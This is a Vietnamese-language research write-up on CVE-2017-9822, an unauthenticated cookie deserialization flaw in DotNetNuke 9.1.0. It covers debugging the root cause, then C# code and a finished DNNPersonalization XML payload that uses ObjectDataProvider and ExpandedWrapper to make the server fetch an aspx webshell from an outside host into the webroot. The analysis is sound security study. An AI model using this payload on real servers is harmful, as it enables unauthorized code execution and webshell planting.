Tìm hiểu CVE-2017-9822 - DotNetNuke Cookie Deserialization RCE
Preface
DotNetNuke là hệ thống quản lý nội dung(content management system) mã nguồn mở trên nền tảng ASP.NET
. Bài viết này sẽ đi vào phân tích CVE-2017-9822
trên DNN, lỗ hổng unauth insecure deserialization có thể dẫn đến RCE. Lỗ hổng được được phát hiện bởi Alvaro Muñoz
và trình bày tại blackhat US 2017 - Friday the 13th JSON Attacks
gồm nhiều advanced techniques về khai thác java/.net deserialization, được coi như mở ra kỷ nguyên mới về khai thác loại lỗ hổng này!
https://www.dnnsoftware.com/community/security/security-center
Build lab
Link Github: https://github.com/dnnsoftware/Dnn.Platform
Mình sẽ debug dựa trên DNN version 9.1.0
, có thể download tại: https://github.com/dnnsoftware/Dnn.Platform/releases
Cách cài đặt DNN các bạn có thể tham khảo tại: https://www.digitalalphas.com/how-to-install-dotnetnuke-dnn/
Hoàn thành:
Analysis
Sink of the bug
Như report, lỗ hổng xảy ra ở phần xử lý DNNPersonalization
cookie, cookie này được dùng để load user profile tuy nhiên vẫn có thể trigger unauthen khi truy cập một trang không tồn tại(404 error). Entrypoint của bug này nằm ở hàm LoadProfile
thuộc module DotNetNuke.dll
, ta sẽ decompile module này bằng dnSpy và phân tích kĩ hơn:
Tại PersonalizationController#LoadProfile(int, int)
Nếu userId
khác null thì biến text
sẽ được gán giá trị của DNNPersonalization
cookie từ request sau đó gọi đến Globals#DeserializeHashTableXml
Globals#DeserializeHashTableXml
gọi đến XmlUtils#DeSerializeHashtable
Sink lỗ hổng này tại đây khi hàm này cho phép deserialize arbitrary object type tại XmlSerializer. Thứ tự xử lý như sau:
- LoadXml từ
xmlSource
- Duyệt qua từng node
item
trong rootprofile
. - Với mỗi item, lấy object type được định nghĩa dựa vào attribute
type
và khởi tạoXmlSerializer
theo type object đó như dòng 160-161 - Deserialize item này thành một object ở dòng 163 và lưu vào hashtable
- Trả về hashtable
Ta hoàn toàn có thể kiểm soát giá trị DNNPersonalization
cookie do đó có thể sửa đổi object được deserialize. Để exploit lỗ hổng này cần lưu ý XmlSerializer có các giới hạn chính trong serialization như sau:
- Chỉ có thể serialize các trường và thuộc tính public
- Chỉ hỗ trợ một nhóm các object nhất định bới nó không thể serialize abstract class
- Loại object khi thực hiện XmlSerializer phải được biết đến trong runtime.
Debugging
Để hiểu kĩ hơn, ta sẽ tiến hành dynamic debug dotnetnuke. Debug .NET phức tạp hơn các ngôn ngữ khác một chút do khi compile code C# thành file thực thi, compiler sẽ tối ưu code do đó khi debug thông thường và đặt breakpoint thường nó sẽ nhảy sai dòng. Do vậy ta cần sửa assembly attributes file từ:
[assembly:
Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
thành:
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
sau đó có thể compile lại file này bằng dnspy. DotNetNuke.dll
được xây dựng trên 32-bit do đó ta cần edit bằng dnspy phiên bản 32 bit mới có thể compile lại được.
Edit Assemby Attributes
Replace it
Save all(overwrite it)
Cùng cần lưu ý rằng khi khởi động IIS worker, nó sẽ không load assemblies từ C:\inetpub\wwwroot\dotnetnuke\bin\DotNetNuke.dll
mà sẽ copy các file cần thiết cho DNN hoạt động đến C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\dotnetnuke\
và load từ thư mục này.
Sau khi đã edit DotNetNuke.dll
ta sẽ debug DNN bằng dnSpy.
- Attach tiến trình w3wp.exe vào dnSpy: Debug –> Attach to Process –> Refresh –> w3wp.exe. Sử dụng dnSpy 64-bit để debug IIS server 64-bit. Ở đây sau một hồi mày mò mà dnSpy không refresh ra w3wp.exe thì mình thử chạy lại dnSpy dưới quyền admin mới tìm thấy process này.
- Sau khi attach ta sẽ tạm dừng debug hiện tại:
Break All
- Tiếp đến, list tất cả module được load bởi w3wp.exe: Debug –> Windows –> Modules
- Click vào module bất kì và chọn
Open All Module
để mở tất cả module đó - Tìm đến module
DotNetNuke.dll
–>LoadProfile(int,int)
, request 404 page nếu dnSpy hit breakpoint thì đã dynamic debug thành công
Sink to the source
Set up dynamic debug thành công, cùng xem từ request 404 error page gọi đến sink như thế nào qua Call Stack
:
Call Stack trên khá dài và phức tạp nhưng chỉ cần tập trung vào các method call sau:
Tại class PortalSettings
getter method được invoke và gọi đến Personalization#GetProfile
như dòng 925 dưới, cái sẽ tiếp tục gọi đến method LoadProfile
, sink của lỗ hổng.
Điều đáng chú là ở dòng 922 có điều kiện if
kiểm tra xem request hiện tại đã là IsAuthenticated
hay chưa và rõ ràng request ta vừa thực hiện là unauthenticated đến một entrypoint không tồn tại. Vậy tại sao request hiện tại được thực hiện như một authenticated user.
Tiếp tục debug, lùi về gần cuối stack thì thấy tại AdvancedUrlRewriter#Handle404OrException
có vòng else if
như sau:
Ở đây nó sẽ kiểm tra request context.User
hiện tại có là null
, nếu đúng như vậy sẽ gán context.User
là user thread hiện tại, set breakpoint có thể thấy được kết quả như sau:
Biến IsAuthenticated
bây giờ có giá trị là true
và user được gán chính là user chạy thread hiện tại thuộc nhóm IIS APPPOOL
của IIS server do đó request được thực hiện như một authenticated user.
Lý do logic này tồn tại là bởi 404 handler được invoke trước khi HttpContext.User
được set và luồng xử lý tiếp dựa vào User.IsAuthenticated
nên để tránh bị lỗi Null references, developers gán User object bằng WindowsPrinicipal object của thread hiện tại.
Ok, ta vừa phân tích và hiểu được vì sao tồn tại lỗ hổng insercure deser tại module DNN ở method LoadProfile
mà vẫn có thể trigger khi đang unauthen, phần tiếp sẽ build payload để exploit lỗ hổng này.
Build payload
Play with XmlSerializer
Đầu tiên, dựa vào sink của CVE này chính là XmlUtils#DeSerializeHashtable
như đã đề cập trên, tạo một chương trình tương tự serialize và deserialize object:
using System.Xml;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; Console.WriteLine("Setted _name field to: " + value); }
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "ahihi ahuhu"; // set field _name thông qua property name
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
Ở method DeSerialize
dựa vào XmlUtils#DeSerializeHashtable
mình chỉ sửa lại value trả về là void
thay vì hashtable
và method Serialize
serialize thành xml string đúng format để DeSerialize
có thể deserialize được.
Result sau khi chạy, file obj.xml
:
<profile>
<item type="example.Test, serialization, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>ahihi ahuhu</name>
</Test>
</item>
</profile>
console:
Có thể thấy rằng setter method(property) đã được gọi tận 2 lần, lần lượt khi thực hiện serialize và deserialize. Lợi dụng cơ chế invoke setter method này khi deserialization attacker có thể trigger thực thi các đoạn mã khác theo ý muốn như thực thi OS command. Ví dụ ta sửa đổi class Test
thành như sau:
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
Với name truyền vào là command calc.exe
ta trigger pop up windows calculator ngay khi objec được deserialize:
file obj.xml
cũng không thay đổi nhiều:
<profile>
<item type="example.Test, serialization, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>calc.exe</name>
</Test>
</item>
</profile>
Nghịch thể đủ rồi, trở lại với XmlSerializer trong DotNetNuke, bây giờ làm sao để thực thi OS command từ lỗ hổng này bởi ta đương nhiên không thể tự chèn class như ví dụ trên trong runtime.
From xml insecure deserialization to RCE
Mục tiêu bây giờ là cần tìm object có thể execute code khi thực hiện deserialize, cùng xem qua một số options.
FileSystemUtils PullFile method
DotNetNuke.dll
assembly có class FileSystemUtils implements method PullFile
:
Method này đặc biệt hữu dụng bởi nếu ta có thể gọi đến method này thì có thể download file bất kì về server từ URL
string và lưu vào FilePath
bất kì. Do vậy nếu ta deserialize DNNPersonalization
cookies và tải về DNN một aspx
webshell vào webroot thì có thể RCE được.
Tuy nhiên như đã đề cập từ trước, XmlSerializer không thể serialize class method mà chỉ là các trường và thuộc tính public. Các trường và thuộc tính public của class FileSystemUtils thì cũng không có cái nào có thể gọi đến được method PullFile. Do đó, serialize instance của object này không có tác dụng gì.
ObjectDataProvider Class
Việc exploit deser ở .NET với gadget chain có sẵn cũng được public khá nhiều. ObjectDataProvider gadget có thể nói là chain phổ biến cũng như hữu dụng nhất được trình bày tại BlackHat US 2017 - Friday the 13th JSON Attacks
, cùng tìm hiểu kĩ hơn về class này.
Theo documentation chính thức, ObjectDataProvider class được sử dụng khi ta muốn wrap một object khác trong ObjectDataProvider instance và sử dụng nó như binding source. Binding source đơn giản là một object cung cấp programer các dữ liệu có liên quan. Dữ liệu này liên kết từ source đến targer object như UserInterface để hiện thị dữ liệu đó.
ObjectDataProvider hữu ích khi nó cho phép wrap arbitrary object và sử dụng thuộc tính MethodName để gọi một method từ wrapped object, cùng với đó là thuộc tính MethodParameters để truyền các các parameter cần thiết vào MethodName. Do vậy nhờ ObjectDataProvider ta có thể gọi đến method thuộc object bất kì ở trong runtime. Hơn cả, class này không bị giới hạn serialize bởi XmlSerializer do đó là ứng viên sáng giá để build payload exploit lổ hổng này.
Cùng xem kĩ hơn ObjectDataProvider như nào. Class này được định nghĩa và implemented trong namespace System.Windows.Data
, nó nằm ở module PresentationFramework.dll
. Trong windows có thể tồn tại một hoặc nhiều file này phụ thuộc vào số .NET framework version được cài đặt. Ở đây mình sẽ chọn ở directory: C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
ObjectDataProvider MethodName
property
Khi setter được gọi sẽ gọi tiếp đến DataSourceProvider#Refresh()
:
Tiếp tục theo luồng DataSourceProvider#BeginQuery
:
Tưởng như tới đây chẳng còn gì nhưng cần lưu ý rằng ObjectDataProvider thừa kế từ DataSourceProvider nơi dnSpy trace tới. Ta cần chú ý xem đúng method mà ObjectDataProvider đã override.
Yeah, trace tiếp đến QueryWorker
Và tại đây, method InvokeMethodOnInstance
sẽ được gọi, nơi nó sẽ invoke wrapped object method:
Vậy khi setter method của trường MethodName thuộc class ObjectDataProvider được gọi, nó cũng đồng thời invoke method vừa được gán.
Is that enough, let’s build the final payload
Mình sẽ sử dụng IDE jetbrain rider để viết script, cần reference đến DotNetNuke.dll
và PresentationFramework.dll
module.
Dùng ObjectDataProvider wrap FileSystemUtils#PullFile
và serialize - deserialize như sau:
Tuy nhiên khi thực hiện serialize thì bị lỗi:
Lỗi này là do cách XmlSerializer được khởi tạo. Ở method Serialize, với loại object truyền vào là bất kì, method sẽ lấy object type qua method GetType()
để khởi tạo XmlSerialier. Ở trường hợp này ta truyền vào ObjectDataProvider, cái XmlSerializer expected, tuy nhiên nó không hề biết loại object được wrap bởi ObjectDataProvider chính là FileSystemUtils là gì, do đó nó báo lỗi không “expected” class này. Do đó thực hiện serialize thất bại.
Thật ra ta có thể fix lỗi này bằng cách sử dụng constructor khác của XmlSerializer như sau:
XmlSerializer xmlSerializer = new XmlSerializer(objectDataProvider.GetType(), new Type[]
{typeof(FileSystemUtils)});
Chỉ cho XmlSerializer loại object được wrapped
Tuy nhiên XmlSerializer trong DNN sử dụng default constructor do đó ta không thể dùng cách này.
ExpandedWrapper Class come to play
Theo official documentation của ExpandedWrapper Class:
This class is used internally by the system to implement support for queries with eager loading of related entities. This API supports the product infrastructure and is not intended to be used directly from your code
Nói đơn giản là class này được dùng internal cho các product chứ không sinh ra để dev sử dụng. Nói ngắn chọn chức năng của class này lạ transform một object nhất định sang dạng một object khác.
ExpandedWrapper class có thể dùng để đóng gói(encapsulation) arbitrary object type. Hơn cả, constructor của class này cho phép chỉ định các loại object được đóng gói ở instance hiện tại. Đây chính xác là cái ta cần để XmlSeralier có thể hiểu và serialize được, khắc phục vấn đề ta gặp trước đó ở trên. Class này cũng thỏa mãn các điều kiện của XmlSerializer để có thể được serialize.
Ta đóng gói ObjectDataProvider, FileSystemUtil và serialize như sau:
using System.Windows.Data;
using DotNetNuke.Common.Utilities;
using System.Data.Services.Internal;
using System.Xml;
using System.Xml.Serialization;
namespace example
{
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\serialization\\"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://7a1f-42-118-71-20.ap.ngrok.io/cmd.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("D:\\lab\\csharp\\DNN\\cmd.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
// String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
// DeSerialize(xmlSource, "profile");
}
}
}
Ta được obj.xml
: //
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral,PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework,Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ProjectedProperty0>
<ObjectInstance xsi:type="FileSystemUtils"/>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.0.108:7878/cmd.aspx</anyType>
<anyType xsi:type="xsd:string">D:/lab/csharp/DNN/dotnetnuke/js/cmd.aspx</anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Tại đây nếu payload lỗi có thể dùng dnSpy debug để fix một số lỗi nhỏ. Nếu build bằng IDE jetbrain rider lỗi, có thể chuyển qua Visual Studio 2019 để build bởi thường nó sẽ tương thích hơn!
Gửi request
Sau khi DNN deserialize cookies, tại http server có request đến /cmd.aspx tức deser thành công, webshell đã được upload lên DNN
aspx webshell
Thay vì tự viết payload như trên, ta hoàn toàn có thể generate lại payload exploit DNN bằng ysoserial.net
đã được publish trên github.
The patch and bypass
- CVE-2018-15811 : DotNetNuke 9.1.1
- CVE-2018-15812 : DotNetNuke 9.2 through 9.2.1
- CVE-2018-18325 and CVE-2018-18326 : DotNetNuke 9.2.2 through 9.3.0-RC